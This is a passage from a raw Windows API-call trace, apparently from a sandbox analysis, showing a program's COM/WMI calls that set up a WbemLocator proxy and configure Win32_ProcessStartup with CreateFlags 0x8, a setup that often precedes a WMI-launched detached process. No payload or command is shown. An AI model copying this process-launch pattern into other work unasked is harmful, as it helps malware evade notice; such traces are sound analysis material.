[5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b4ad3b0) returned 0x0 [0113.595] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4ad3b0, pProxy=0x1b4e0350, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0113.596] WbemLocator:IUnknown:Release (This=0x1b4ad3b0) returned 0x2 [0113.596] WbemLocator:IUnknown:Release (This=0x1b4ad3f8) returned 0x1 [0113.596] CoTaskMemFree (pv=0x1b461dc0) [0113.596] WbemLocator:IUnknown:Release (This=0x1b4abf70) returned 0x0 [0113.596] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0350, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b4ad3f8) returned 0x0 [0113.596] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0113.612] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0113.615] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0350, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0113.626] WbemLocator:IUnknown:AddRef (This=0x1b4ad3f8) returned 0x3 [0113.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0113.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0113.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b4ad2d8) returned 0x0 [0113.626] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4ad2d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.626] WbemLocator:IUnknown:Release (This=0x1b4ad2d8) returned 0x3 [0113.626] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0113.626] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0113.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b4ad3c0) returned 0x0 [0113.626] WbemLocator:IRpcOptions:Query (in: This=0x1b4ad3c0, pPrx=0x1b4ad3f8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0113.626] WbemLocator:IUnknown:Release (This=0x1b4ad3c0) returned 0x3 [0113.627] WbemLocator:IUnknown:Release (This=0x1b4ad3f8) returned 0x2 [0113.627] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0113.627] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0113.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4e0350) returned 0x0 [0113.627] WbemLocator:IUnknown:AddRef (This=0x1b4e0350) returned 0x4 [0113.627] WbemLocator:IUnknown:Release (This=0x1b4e0350) returned 0x3 [0113.627] WbemLocator:IUnknown:Release (This=0x1b4e0350) returned 0x2 [0113.627] SysStringLen (param_1=0x0) returned 0x0 [0113.627] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0113.627] WbemLocator:IUnknown:AddRef (This=0x1b4ad3f8) returned 0x3 [0113.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad3f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b4ad3f8) returned 0x0 [0113.627] WbemLocator:IUnknown:Release (This=0x1b4ad3f8) returned 0x3 [0113.627] WbemLocator:IUnknown:Release (This=0x1b4ad3f8) returned 0x2 [0113.627] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0113.627] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0113.627] IWbemServices:GetObject (in: This=0x1b4e0350, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4ce630, ppCallResult=0x0) returned 0x0 [0113.690] IWbemClassObject:Get (in: This=0x1b4ce630, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0113.690] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0113.690] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0113.690] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0113.690] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0113.690] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0113.690] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.691] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4abcb0) returned 0x0 [0113.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abcb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0113.691] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abcb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4af3a0) returned 0x0 [0113.691] WbemDefPath:IUnknown:Release (This=0x1b4abcb0) returned 0x0 [0113.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4af3a0) returned 0x0 [0113.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0113.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0113.692] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0113.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0113.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0113.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4aba10) returned 0x0 [0113.692] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4aba10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.692] WbemDefPath:IUnknown:Release (This=0x1b4aba10) returned 0x3 [0113.692] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0113.692] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0113.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0113.692] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0113.692] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0113.692] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0113.692] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0113.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4af3a0) returned 0x0 [0113.692] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0113.692] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0113.692] WbemDefPath:IWbemPath:SetText (This=0x1b4af3a0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0113.692] IWbemClassObject:Get (in: This=0x1b4ce630, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a6d58*=0, plFlavor=0x29a6d5c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a6d58*=19, plFlavor=0x29a6d5c*=0) returned 0x0 [0113.693] IWbemClassObject:Get (in: This=0x1b4ce630, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a6d58*=19, plFlavor=0x29a6d5c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a6d58*=19, plFlavor=0x29a6d5c*=0) returned 0x0 [0113.693] IWbemClassObject:Put (This=0x1b4ce630, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0113.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0113.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0113.693] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0113.693] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.693] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0113.693] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0113.693] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0113.693] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.694] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4abe30) returned 0x0 [0113.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abe30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0113.694] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abe30, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4afca0) returned 0x0 [0113.694] WbemDefPath:IUnknown:Release (This=0x1b4abe30) returned 0x0 [0113.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4afca0) returned 0x0 [0113.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0113.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0113.694] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0113.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0113.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0113.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4abe90) returned 0x0 [0113.695] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abe90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.695] WbemDefPath:IUnknown:Release (This=0x1b4abe90) returned 0x3 [0113.695] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0113.695] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0113.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0113.695] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0113.695] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0113.695] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0113.695] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0113.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4afca0) returned 0x0 [0113.695] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0113.695] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0113.695] WbemDefPath:IWbemPath:SetText (This=0x1b4afca0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0113.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0113.695] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0113.695] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.695] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0113.695] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0113.695] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0113.695] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.696] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4abf90) returned 0x0 [0113.696] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abf90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0113.696] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4abf90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4ac010) returned 0x0 [0113.696] WbemLocator:IUnknown:Release (This=0x1b4abf90) returned 0x0 [0113.696] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4ac010) returned 0x0 [0113.696] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0113.696] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, 